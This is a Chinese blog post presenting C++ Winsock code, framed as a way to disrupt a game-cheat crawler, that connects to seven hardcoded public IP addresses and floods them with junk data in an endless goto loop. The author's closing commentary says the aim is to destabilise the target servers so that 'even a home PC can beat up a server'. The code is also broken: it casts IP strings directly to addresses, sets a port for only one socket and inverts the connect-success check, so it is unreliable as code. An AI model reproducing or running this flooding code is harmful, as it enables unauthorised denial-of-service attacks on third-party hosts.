扰乱网络爬虫的一种非绝对方法,其实别的办法也行,但工作量可能会有点大

using namespace std;
#include<stdlib.h>
#pragma comment(lib,"WS2_32.lib")

#include <iostream>
#include <Windows.h>

SOCKET g_socket;
SOCKET g_socket2;
SOCKET g_socket3;
SOCKET g_socket4;
SOCKET g_socket5;
SOCKET g_socket6;
SOCKET g_socket7;
WSADATA wsd;
SOCKADDR_IN servAddr;//服务器地址
SOCKADDR_IN servAddr2;//服务器地址
SOCKADDR_IN servAddr3;//服务器地址
SOCKADDR_IN servAddr4;//服务器地址
SOCKADDR_IN servAddr5;//服务器地址
SOCKADDR_IN servAddr6;//服务器地址
SOCKADDR_IN servAddr7;//服务器地址
int retVal;//调用Socket函数的返回值
char buf[200];
int main()
{
    //初始化Socket环境
    if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {
        printf("WSAStartup failed!\n");
        return 1;
    }

    //创建监听的Socket
    g_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
    if (INVALID_SOCKET == g_socket) 
    {
        printf("socket failed!\n");
    }

    g_socket2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket2)
    {
        printf("socket failed!\n");
    }

    g_socket3 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket3)
    {
        printf("socket failed!\n");
    }
    g_socket4 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket4)
    {
        printf("socket failed!\n");
    }
    g_socket5 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket5)
    {
        printf("socket failed!\n");
    }

    g_socket6 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket6)
    {
        printf("socket failed!\n");
    }
    g_socket7 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket7)
    {
        printf("socket failed!\n");
    }
    //设置服务器Socket地址
    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.S_un.S_addr = (ULONG)"104.21.42.44";

    servAddr2.sin_family = AF_INET;
    servAddr2.sin_addr.S_un.S_addr = (ULONG)"103.198.203.152";

    servAddr3.sin_family = AF_INET;
    servAddr3.sin_addr.S_un.S_addr = (ULONG)"180.111.196.17";

    servAddr4.sin_family = AF_INET;
    servAddr4.sin_addr.S_un.S_addr = (ULONG)"103.84.110.229";
    
    servAddr5.sin_family = AF_INET;
    servAddr5.sin_addr.S_un.S_addr = (ULONG)"58.217.250.18";

    servAddr6.sin_family = AF_INET;
    servAddr6.sin_addr.S_un.S_addr = (ULONG)"47.104.139.74";

    servAddr7.sin_family = AF_INET;
    servAddr7.sin_addr.S_un.S_addr = (ULONG)"103.178.56.133";
    //101.32.190.24 csol
    // 103.84.110.229
    // 103.198.203.152
    // 180.111.196.17
    //servAddr.sin_addr.S_un.S_addr = (ULONG)"58.217.250.17";
    //在实际应用中,建议将服务器的IP地址和端口号保存在配置文件中
    servAddr.sin_port = htons(80);
    //计算地址的长度
    //int sServerAddlen = sizeof(servAddr);
    //链接服务器
    retVal = connect(g_socket, (LPSOCKADDR)&servAddr, sizeof(servAddr));
    
    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket2, (LPSOCKADDR)&servAddr2, sizeof(servAddr2));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket3, (LPSOCKADDR)&servAddr3, sizeof(servAddr3));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket4, (LPSOCKADDR)&servAddr4, sizeof(servAddr4));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket5, (LPSOCKADDR)&servAddr5, sizeof(servAddr5));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket6, (LPSOCKADDR)&servAddr6, sizeof(servAddr6));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket7, (LPSOCKADDR)&servAddr7, sizeof(servAddr7));

    if (retVal != 0)
    {
        printf("OK in");
    }
    sprintf_s(buf," * 0 ; *0.0000001f;  ;0* ;int 3; & Math_PI;");

apple:

        
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket6, buf, 200, 0);

        recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
    
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
send(g_socket5, buf, 200, 0); send(g_socket6, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0); send(g_socket2, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);

        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);

        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket2, buf, 200, 0);
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);

        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket2, buf, 200, 0);
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);

        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);

        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        Sleep(3);
        recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);

    goto apple;

}

这个,看我发消息摆的是啥意思,为啥不封装 第一点封装可能实时效能会受一点影响 第二点变量和函数调用速度是最佳的但是管理性能不好,如果这个代码用STL数据结构封装完全可以做到填加一个IP防御其就会多防御一个外挂服务器,我有点累,所以就没封装 ,插入的Sleep函数是震荡处理器峰值会有大的波动影响服务器的稳定性,家用机也能揍服务器 

这个外挂的网络爬虫把境内的所有ip遍历了,然后他启动时候会扫描客户机个数然后发来一些辣鸡,这个游戏的客户端分盗版和正版,外挂使用的是盗版的客户端,是内鬼嵌入项目组修改了数据传送代码导致的外挂的伤害飙升,人家想设置多少攻击就设置多少攻击,防御阻塞Server上下行,接收数据不给windows消息堆栈池中,有的攻击会失效,客户端会出现问题数据校验会被迫走容错代码

posted on 2024-05-15 18:01  草丛有头猪  阅读(4)  评论(0编辑  收藏  举报

导航